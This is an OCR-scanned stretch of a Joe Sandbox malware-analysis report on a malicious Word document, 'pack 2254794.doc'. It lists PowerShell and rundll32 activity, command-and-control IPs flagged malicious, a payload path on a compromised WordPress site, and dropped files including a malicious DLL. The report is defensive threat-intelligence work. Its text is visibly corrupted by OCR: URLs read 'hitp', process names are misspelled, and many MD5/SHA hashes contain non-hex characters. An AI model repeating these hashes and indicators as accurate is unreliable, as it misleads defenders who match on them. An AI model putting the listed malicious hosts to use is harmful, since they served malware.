00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2101604260.000
0000001E50000.00000002.0000000
1.sdmp
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https://www.virustotal.com/gui/url/f93746b01b37210964e6467573e35360d91becdb628ea49e9e0372a4e54a61d3/detection/u-f93746b01b37210964e6467573e35360d91becdb628ea49e9e0372a4e54a61d3-1609917295
https://www.virustotal.com/gui/url/f93746b01b37210964e6467573e35360d91becdb628ea49e9e0372a4e54a61d3/detection/u-f93746b01b37210964e6467573e35360d91becdb628ea49e9e0372a4e54a61d3-1609917295
https://www.virustotal.com/gui/url/86fa105bcc9f809aa1b4c6e22267965160e76e0a9eba7e753ead0e302d950673/detection/u-86fa105bcc9f809aa1b4c6e22267965160e76e0a9eba7e753ead0e302d950673-1609835848
https://www.virustotal.com/gui/url/f93746b01b37210964e6467573e35360d91becdb628ea49e9e0372a4e54a61d3/detection/u-f93746b01b37210964e6467573e35360d91becdb628ea49e9e0372a4e54a61d3-1609917295

Name

hitp://iwww.icra.org/vocabulary/.

http://
schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous

http://
www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv

hitp://investor.msn.com/

Source Malicious

Antivirus Detection

Reputation

rundll32.exe, 00000006.0000000 false
2.2108503830.0000000001D77000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2102634716.000
0000002037000.00000002.0000000

1.sdmp, rundlI32.exe, 00000008
.00000002.2105249606.000000000
2037000.00000002.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2098095500.00000000024D000
0.00000002.00000001.sdmp, rund

1132.exe, 00000007.00000002.21
05644253.00000000028E0000.0000
0002.00000001.sdmp, rundlI32.exe,
00000008.00000002.21068811
02.0000000002890000.00000002.0
0000001.sdmp

powershell.exe, 00000005.00000 false
002.2096126054.00000000003C400
0.00000004.00000020.sdmp

rundll32.exe, 00000006.0000000 false
2.2107691837.0000000001B90000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2101604260.000
0000001E50000.00000002.0000000

1.sdmp

URL Reputation: safe unknown
URL Reputation: safe
URL Reputation: safe
URL Reputation: safe

high

high

high

hitpiwww.%s.comPA

hitp:/f\www.piriform.com/cclea;

hitp://iwindowsmedia.com/redir/services.asp?
WMPFriendly=true

hitp:/fiwww.hotmail.com/oe

powershell.exe, 00000005.00000 false
002.2098095500.00000000024D000
0.00000002.00000001.sdmp, rund

1132.exe, 00000007.00000002.21
05644253.00000000028E0000.0000
0002.00000001.sdmp, rundlI32.exe,
00000008.00000002.21068811
02.0000000002890000.00000002.0
0000001.sdmp

powershell.exe, 00000005.00000 false
002.2096126054.00000000003C400
0.00000004.00000020.sdmp

rundll32.exe, 00000006.0000000 false
2.2108503830.0000000001D77000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2102634716.000
0000002037000.00000002.0000000

1.sdmp, rundlI32.exe, 00000008
.00000002.2105249606.000000000
2037000.00000002.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2107691837.0000000001B90000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2101604260.000
0000001E50000.00000002.0000000

1.sdmp

e URL Reputation: safe low
e URL Reputation: safe
e URL Reputation: safe

high
e URL Reputation: safe unknown
e URL Reputation: safe
e URL Reputation: safe

high

Contacted IPs
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https://www.virustotal.com/gui/url/f93746b01b37210964e6467573e35360d91becdb628ea49e9e0372a4e54a61d3/detection/u-f93746b01b37210964e6467573e35360d91becdb628ea49e9e0372a4e54a61d3-1609917295
https://www.virustotal.com/gui/url/86fa105bcc9f809aa1b4c6e22267965160e76e0a9eba7e753ead0e302d950673/detection/u-86fa105bcc9f809aa1b4c6e22267965160e76e0a9eba7e753ead0e302d950673-1609835848

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
Bl 75% <No. of IPs

Public

P Domain Country Flag ASN ASN Name Malicious
176.53.69.151 unknown Turkey 42926 RADORETR true
5.2.136.90 unknown Romania T 8708 RCS-RDS73- true

75DrStaicoviciRO

General Information

Joe Sandbox Version:

31.0.0 Red Diamond

Analysis ID: 336496
Start date: 06.01.2021
Start time: 08:48:16
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 8m 55s
Hypervisor based Inspection enabled: false
Report type: light

Sample file name:

pack 2254794.doc

Cookbook file name: defaultwindowsofficecookbook.jbs

Analysis system description: Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

Number of analysed new started processes analysed: 13

Number of new started drivers analysed:

Number of existing processes analysed:
Number of existing drivers analysed:
Number of injected processes analysed:

Technologies:

Analysis Mode:
Analysis stop reason:
Detection:

Classification:

Copyright null 2021

o O o o

e HCA enabled
e EGA enabled
e HDC enabled
e GSl enabled (VBA)
e AMSI enabled
default
Timeout

MAL

mal100.troj.expl.evad.winDOC@18/8@1/2



EGA Information:

HDC Information:

HCA Information:

Cookbook Comments:

Warnings:

Simulations

Behavior and APIs

Time

08:48:40
08:48:41
08:48:46

Joe Sandbox View | Context

IPs

Match
176.53.69.151

5.2.136.90

Copyright null 2021

Type

API Interceptor
API Interceptor
API Interceptor

Associated Sample Name /| URL

Failed

* Successful, ratio: 88% (good quality ratio 84.5%)
e Quality average: 76.7%
e Quality standard deviation: 26.2%

e Successful, ratio: 88%
e Number of executed functions: 0
e Number of non-executed functions: 0

e Adjust boot time

e Enable AMSI

Found application associated with file extension:
.doc

Found Word or Excel or PowerPoint or XPS Viewer
Found warning dialog

Click Ok

Attach to Office via COM

Scroll down

Close Viewer

Show All

e Exclude process from analysis (whitelisted):
dllhost.exe, conhost.exe

e TCP Packets have been reduced to 100

e Report size exceeded maximum capacity and may
have missing behavior information.

e Report size getting too big, too many
NtOpenKeyEx calls found.

e Report size getting too big, too many
NtQueryAttributesFile calls found.

e Report size getting too big, too many
NtQueryValueKey calls found.

Description
1x Sleep call for process: msg.exe modified
31x Sleep call for process: powershell.exe modified

946x Sleep call for process: rundll32.exe modified

SHA 256 Detection Link Context

Get hash malicious Browse e petafilm.
com/wp-adm
in/4m/

Get hash malicious Browse e petafilm.
com/wp-adm
in/4m/

Get hash malicious Browse e petafilm.
com/wp-adm
in/4m/

Get hash malicious Browse e petafilm.
com/wp-adm
in/4m/

Get hash malicious Browse e petafilm.
com/wp-adm
in/4m/

Get hash malicious Browse e petafilm.
com/wp-adm
in/4m/

Get hash malicious Browse e petafilm.
com/wp-adm
in/4m/

Get hash malicious Browse e 521369
0/6tycsc/
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https://view.joesandbox.com/analysis/252620/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252620/html/none?idtype=webid
https://view.joesandbox.com/analysis/252585/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252585/html/none?idtype=webid
https://view.joesandbox.com/analysis/252565/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252565/html/none?idtype=webid
https://view.joesandbox.com/analysis/252564/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252564/html/none?idtype=webid
https://view.joesandbox.com/analysis/252557/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252557/html/none?idtype=webid
https://view.joesandbox.com/analysis/252552/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252552/html/none?idtype=webid
https://view.joesandbox.com/analysis/252508/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252508/html/none?idtype=webid
https://view.joesandbox.com/analysis/252835/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252835/html/none?idtype=webid

Match

Copyright null 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

5.2.136.9
0/gv38bn75
mnjox2y/c6
b9ni4/vj3u
t3/kid53/b
p623/r5qw7
a8ye6jtlfoqu/

5.2.136.9
0/9ormijijm
a/sd2xibcl
mrp5oftlrxf/

5.2.136.9
0/nmjn7twl
7/z6mijkdfb
6xb/85tf0q
h6u/bqo6i0
tmr9bo/

5.2.136.9
0/zpm1364k
s766bq5tfg
m/of4c87wi
ptl9gmt2ia
ifxi3tkrik
fkjmywO07j7
s/8758g9ro
1h/96kjwi7
hgnpltacdm
2/gdi8d56i
spt49sa36ql/

5.2.136.9
0/xgyqftp8
lypox5kzx2
4gfin5utkh
lejrffzc54
r5vg/itkme
Iprx4l

5.2.136.9
0/tqndp5p5
gacps4njp6
/p6z0bktcd
w7jal/ilrph/

5.2.136.9
0/7hsOyieq
cvglex40v9
/th111ygic
clhtiecx/e
toOvvpramp
eftpmec/

5.2.136.9
0/n5z35/rn
cfyghpt3nn
9/twyyh8xn
/dm5hb/

5.2.136.9
0/kcdo20u2
bagptvé/

5.2.136.9
0/6s0p53at
jr9ihwygvd
/svxo4o084a
ueyhjovsm/
5lgp30jb/g
Ourlkwrzvg
j300gmmo/d
w8my2m1ifzzo/

5.2.136.9
0/5cigo/dh
qbj3xw/

5.2.136.9
0/I7tybna/
g7nyjudve/
gf8bykzaxp
zupj/wr200
u8id88pf7d
gmx3/9zupu
1q7mbiwtjo
60v5niso7jo0On/
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https://view.joesandbox.com/analysis/252832/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252832/html/none?idtype=webid
https://view.joesandbox.com/analysis/252828/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252828/html/none?idtype=webid
https://view.joesandbox.com/analysis/252698/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252698/html/none?idtype=webid
https://view.joesandbox.com/analysis/252679/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252679/html/none?idtype=webid
https://view.joesandbox.com/analysis/252678/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252678/html/none?idtype=webid
https://view.joesandbox.com/analysis/252672/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252672/html/none?idtype=webid
https://view.joesandbox.com/analysis/252643/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252643/html/none?idtype=webid
https://view.joesandbox.com/analysis/252626/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252626/html/none?idtype=webid
https://view.joesandbox.com/analysis/252620/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252620/html/none?idtype=webid
https://view.joesandbox.com/analysis/252585/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252585/html/none?idtype=webid
https://view.joesandbox.com/analysis/252583/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252583/html/none?idtype=webid
https://view.joesandbox.com/analysis/252565/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252565/html/none?idtype=webid

Match

Domains

Match

petafilm.com

ASN

Match
RCS-RDS73-75DrStaicoviciRO

RADORETR

Copyright null 2021

Associated Sample Name / URL SHA 256
Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

>
»
]
=]
o,
2
@
o
[72]
o
3
=2
5
2
5
3
@
c
A
[

Get hash

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Context

5.2.136.9
0/vcpu82n/
rvhhoco3em
4jtl/gxey0
84opeuhirg
hxzs/bm8x5
w07gologzf
Ibv/32imx8
ryeb30/bd7
tg46kn/

5.2.136.9
0/jio2pdi/
39rfb960opn/
5.2.136.9
0/glhz448z
i9act/ieva
/q040/s191
98fns4q2/

5.2.136.9
0/09hsu3aa
vqd4/8opns
7cloxp5fp7
awb/

5.2.136.9

0/78ro59my
n48w9a6ku/
begjwwwuc/

5.2.136.9
0/bl7bvpp8
itof0dvu5j
2/nwew9ztk
plyjrulnit
i57vewwk67
t/6u49kré/

Context

176.53.69.151
176.53.69.151
176.53.69.151
176.53.69.151
176.53.69.151
176.53.69.151
176.53.69.151

Context

5.2.136.90
5.2.136.90
5.2.136.90
5.2.136.90
5.2.136.90
5.2.136.90
5.2.136.90

5.2.136.90
5.2.136.90
5.2.136.90
5.2.136.90
5.2.136.90
5.2.136.90
5.2.136.90
5.2.136.90
5.2.136.90
5.2.136.90
5.2.136.90
5.2.136.90
86.120.144.206
185.225.36.38

176.53.69.151

Page 16 of 48


https://view.joesandbox.com/analysis/252564/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252564/html/none?idtype=webid
https://view.joesandbox.com/analysis/252557/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252557/html/none?idtype=webid
https://view.joesandbox.com/analysis/252552/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252552/html/none?idtype=webid
https://view.joesandbox.com/analysis/252428/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252428/html/none?idtype=webid
https://view.joesandbox.com/analysis/252420/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252420/html/none?idtype=webid
https://view.joesandbox.com/analysis/252418/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252418/html/none?idtype=webid
https://view.joesandbox.com/analysis/252620/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252620/html/none?idtype=webid
https://view.joesandbox.com/analysis/252585/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252585/html/none?idtype=webid
https://view.joesandbox.com/analysis/252565/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252565/html/none?idtype=webid
https://view.joesandbox.com/analysis/252564/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252564/html/none?idtype=webid
https://view.joesandbox.com/analysis/252557/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252557/html/none?idtype=webid
https://view.joesandbox.com/analysis/252552/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252552/html/none?idtype=webid
https://view.joesandbox.com/analysis/252508/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252508/html/none?idtype=webid
https://view.joesandbox.com/analysis/252835/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252835/html/none?idtype=webid
https://view.joesandbox.com/analysis/252832/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252832/html/none?idtype=webid
https://view.joesandbox.com/analysis/252828/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252828/html/none?idtype=webid
https://view.joesandbox.com/analysis/252698/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252698/html/none?idtype=webid
https://view.joesandbox.com/analysis/252679/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252679/html/none?idtype=webid
https://view.joesandbox.com/analysis/252678/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252678/html/none?idtype=webid
https://view.joesandbox.com/analysis/252672/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252672/html/none?idtype=webid
https://view.joesandbox.com/analysis/252643/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252643/html/none?idtype=webid
https://view.joesandbox.com/analysis/252626/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252626/html/none?idtype=webid
https://view.joesandbox.com/analysis/252620/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252620/html/none?idtype=webid
https://view.joesandbox.com/analysis/252585/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252585/html/none?idtype=webid
https://view.joesandbox.com/analysis/252583/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252583/html/none?idtype=webid
https://view.joesandbox.com/analysis/252565/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252565/html/none?idtype=webid
https://view.joesandbox.com/analysis/252564/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252564/html/none?idtype=webid
https://view.joesandbox.com/analysis/252557/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252557/html/none?idtype=webid
https://view.joesandbox.com/analysis/252552/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252552/html/none?idtype=webid
https://view.joesandbox.com/analysis/252428/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252428/html/none?idtype=webid
https://view.joesandbox.com/analysis/252420/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252420/html/none?idtype=webid
https://view.joesandbox.com/analysis/252418/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252418/html/none?idtype=webid
https://view.joesandbox.com/analysis/251534/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251534/html/none?idtype=webid
https://view.joesandbox.com/analysis/252732/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252732/html/none?idtype=webid
https://view.joesandbox.com/analysis/252620/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252620/html/none?idtype=webid

Match

JA3 Fingerprints
No context

Dropped Files

No context

Associated Sample Name /| URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Created / dropped Files

Detection
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

185.225.36.38
185.225.36.38
185.225.36.38
176.53.69.151
176.53.69.151
176.53.69.151
185.225.36.38

176.53.69.151
176.53.69.151
176.53.69.151
46.45.148.196
46.45.148.196
46.45.148.196
46.235.9.150

185.84.181.88
185.84.181.89
185.84.181.88
185.84.181.88

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{F52C8AA2-B174-499E-B3BD-E7523F18DF93}.tmp

Process: C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 1024

Entropy (8bit):  0.05390218305374581

Encrypted: false

SSDEEP: 3:013lYdn:4Wn

MD5: 5D4D94EE7EO06BBBOAF9584119797B23A

SHA1L: DBB111419C704F116EFA8E72471DD83ES6E49677

SHA-256: 4826C0D860AF884D3343CA6460BO006A7A2CE7DBCCC4D743208585D997CC5FD1

SHA-512: 95F83AE84CAFCCEDSEAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28B
A4

Malicious: false

Reputation: high, very likely benign file

Preview:

C:\Users\luser\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-966771315-3019405637-367336477-1006\f554348b930f81505ce47f7c6b7d232_eaB860e7a-

a87f-4a88-92ef-38744458171

Process: C:\Windows\SysWOW64\rundll32.exe

File Type: data

Category: dropped

Size (bytes): 46

Entropy (8bit): 1.0424600748477153

Encrypted: false

SSDEEP: 3:/lbwwWi:sZ

MD5: 3B7B4F5326139F48EFAOAAES09E2FESS

SHAL: 209A1CE7AF7FF28CCD52AE9C8AB9DEESF2C1D57A

SHA-256: D47B073BF489AB75A26EBF82ABAODAB7A484F83F8200AB85EBD57BED472022FC
SHA-512: C99D99EA71E54629815099464A233E7617EAE118DD5B2A7A32CF41141CB9815DF47B0A40D1A9F89980C307596B53DD63F76DD52CF10EE21FA7C635C5F68786BE

Copyright null 2021
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https://view.joesandbox.com/analysis/252614/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252614/html/none?idtype=webid
https://view.joesandbox.com/analysis/252596/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252596/html/none?idtype=webid
https://view.joesandbox.com/analysis/252595/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252595/html/none?idtype=webid
https://view.joesandbox.com/analysis/252585/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252585/html/none?idtype=webid
https://view.joesandbox.com/analysis/252565/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252565/html/none?idtype=webid
https://view.joesandbox.com/analysis/252564/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252564/html/none?idtype=webid
https://view.joesandbox.com/analysis/252560/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252560/html/none?idtype=webid
https://view.joesandbox.com/analysis/252557/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252557/html/none?idtype=webid
https://view.joesandbox.com/analysis/252552/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252552/html/none?idtype=webid
https://view.joesandbox.com/analysis/252508/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252508/html/none?idtype=webid
https://view.joesandbox.com/analysis/245383/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/245383/html/none?idtype=webid
https://view.joesandbox.com/analysis/245375/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/245375/html/none?idtype=webid
https://view.joesandbox.com/analysis/245372/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/245372/html/none?idtype=webid
https://view.joesandbox.com/analysis/238061/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/238061/html/none?idtype=webid
https://view.joesandbox.com/analysis/235722/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/235722/html/none?idtype=webid
https://view.joesandbox.com/analysis/234837/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/234837/html/none?idtype=webid
https://view.joesandbox.com/analysis/232634/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/232634/html/none?idtype=webid
https://view.joesandbox.com/analysis/230308/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/230308/html/none?idtype=webid

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-966771315-3019405637-367336477-1006\f554348b930ff81505ce47f7c6b7d232_ea860e7a-
a87f-4a88-92ef-38744458171

Malicious:
Reputation:

Preview:

false

moderate, very likely benign file

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

ASCII text, with CRLF line terminators

dropped

74

4.37618297427639

false

3:M1uTspudoNvsspudomX1luTspudov:MsTspFGUspFGTspFy
1575B4B03068E9EB1C790279D6F015E9
B03BA64F155CB89C56F2BEFD4834DF9592D7FA43
172739674EBD8866CDE6E438FF08DBC63AE51F20C6A69F78BDDCF58B1FEE33AF
02F358E4E8C884FE42D825C68FAA8B656C9D44827F8B17207BD360C4EEDOF75C233DDB00789531D1C78FC9009234C9FDOEOB9870074100CE8D1D11B9475B39A

false

[doc]..pack 2254794.LNK=0..pack 2254794.LNK=0..[doc]..pack 2254794.LNK=0..

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\pack 2254794.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office l4\WINWORD.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:16 2020, mtime=Wed Aug 26 14:08:16 2020,
atime=Wed Jan 6 15:48:37 2021, length=173056, window=hide

dropped

2048

4.54485733617009

false
48:8y/XTOJFI7X8ZjY17XQ/Qh2y/XTOjFI7X8ZjY17XQ/Q/:8y/X0jFI7TXIY17XQ/Qh2y/X0jFI7XIYF
E3FBD587B484224CD312DA1A8614455A
E20B34A9EDFD3E61071E6D6EFC21FAS9E85D4056
C4B15C49D33DC71DBFEF56B453F4F0B791BCE9OE123A0F54154E3D0C6EAL7935

E3A2F426184A78FBC82878300F15DB755A2AC3ACAB2F5EB13F47C1B3415FDCEG6DAAB16D10334F398FA4ECO0E7420788DES7E1IACEG17C537017AB74148CFDCY
AB

false

| EETTTOPRRN Foo {ooe DK, P.O. 0. 400.../C:\ 1. QKX Users. .......QK. X . 6....Us.ers..@.s.h.ell3.2.dllL,..
2.1.8.1.3...L.1.....Q.y..user.8.....QK.X.Q.y*...&=....U... Alb.us....z.1.....Q.y..Desktop.d.....QK.X.Q.y* ....D.eskto.p.@.s.hell3d2.dll,.-217
.6.9....J.2....&R.. .PACK22~1.DOC..N ..p.ack..2254.7.94..d.0.C......Zucccccmn 8o [ 200 C:\Users\. ... \\405464
\Users.user\Desktop\pack 2254794.doc."....\....\....\....\...\.D.e.s.k.t.o.p.\.p.a.ck. .2.25.4.7.9.4...d.o.c.... 1SPS.XF.L8C....&m.m............-...S.-.1.- 5.
-2.1.-9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6. [D_...3N..W

C:\Users\luser\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

162

2.431160061181642

false

3:vrJlaCkWitVy3KGcilséw7Adtin:vdsCkWthGeiwfQl
4A5DFFE330E8BBBF59615CB0C71B87BE
7B896C17F93ECFCIB69EB4FCIEADEDDIDAS50C4B
D28616DC54FDEF1FF5C5BA05A77F178B7E3304493BAF3F4407409F2C84F4F215
3AA160CB89F4D8393BCBFIFF4357FFE7AE00663F21F436D341FA4F5ADAAEDC737092985EB4A94A694A02780597C6375D1615908906A6CEC6D7AB616791B6285C

false

LUSET ettt Alb.us....... Pttt P Zotiiiieans X...

C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TTTIASRUAT24SOYOMUL4.temp

Process:

File Type:

Category:

Size (bytes):

Entropy (8bit):

Encrypted:

SSDEEP:
Copyright null 2021

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
data
dropped
8016
3.588015572863861
false
96:chQCsMqgbqvsqvJCwo1z8hQCsMgbqgvsEHyqvJCworfzv1YkHKf80zIUVLIu:cy+01z8yWHnorfzv+f80olu
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C:\Users\luser\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TTTIASRUAT24SOYOMUL4.temp

MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

COAE2CE8B209C1783BCC5D0OCF773F7B1

C42001B1F8B58DB5FB3E44B6743D6B05A52B8FC2

0A8DF82BDDA3CC1BC76384419D818EB89AG6D4576954D29C15B2360B001140F38
322BC8DES5B93082BBD69AC84DCA42E997507E91EEEF242E8281353FFACFFCEOD3ECF73F61234358E48A032AD2DCCAALE7882EC44F1B09B749746F8C676C240

e PLILOL
e Lea((
..Pro.grams..@.she.l
.WINDOW~1..R.. S

LSTARTM~L. ot ((Fee
1.3.2..d.ll.,.-.2.1.7.8.2. xJu=..ACCESS~1
...W.in.d.ow.s. .P.ow.e.r.Shell..v.2.k.

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

192000

7.4703735707732735

false
3072:SwbpDnn9FCrNyVBYF0n3ajFq4weCp2S2MJdhzybMO8dSySA:SsI9FSaBYFOnVp2MJHybR8dS9
920A3E39E71ACOFC7ECAC1630AADAF7A

2DD3A5B2521C723914D1518111AE27E1825FCDOF
EEF95A9BB33B7458E7EA3AF95B79CDF7B5016C89B70778A6B60E71010EDADF73
D6FE3C10742B6B40A837DC1F5B1700FDF1093243A84E80102FEEOBB45CFC43B2002E76F0F635F9C47598E67E061D70B98C1C7862A1ACC1D6832C5EBES844192]

true

C:\Users\user\Desktop\~$ck 2254794.doc

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

data

dropped

162

2.431160061181642

false

3:vrJlaCkWtVy3KGcilséw7Adtin:vdsCkWthGeiwfQl
4A5DFFE330E8BBBF59615CB0C71B87BE
7B896C17F93ECFCIB6IEB4FCIEADEDDIDA5S50C4B
D28616DC54FDEF1FF5C5BA05A77F178B7E3304493BAF3F4407409F2C84F4F215
3AA160CB89F4D8393BCBFIFF4357FFE7AE00663F21F436D341FA4F5ADAAEDC737092985EB4A94A694A02780597C6375D1615908906A6CEC6D7AB616791B6285C

false

LUSBI et Alb.us............. P P Zooiiiinad X...

Static File Info

General
File type:

Entropy (8bit):
TriD:

File name:

Copyright null 2021

Composite Document File V2 Document, Little Endian,
Os: Windows, Version 6.2, Code page: 1252, Subject:
backing up Grove Avon systematic copy THX Steel
functionalities Upgradable infrastructure Technician,
Author: CImence Nguyen, Template: Normal.dotm, Last
Saved By: Quentin Collet, Revision Number: 1, Name of
Creating Application: Microsoft Office Word, Create
Time/Date: Tue Jan 5 06:14:00 2021, Last Saved
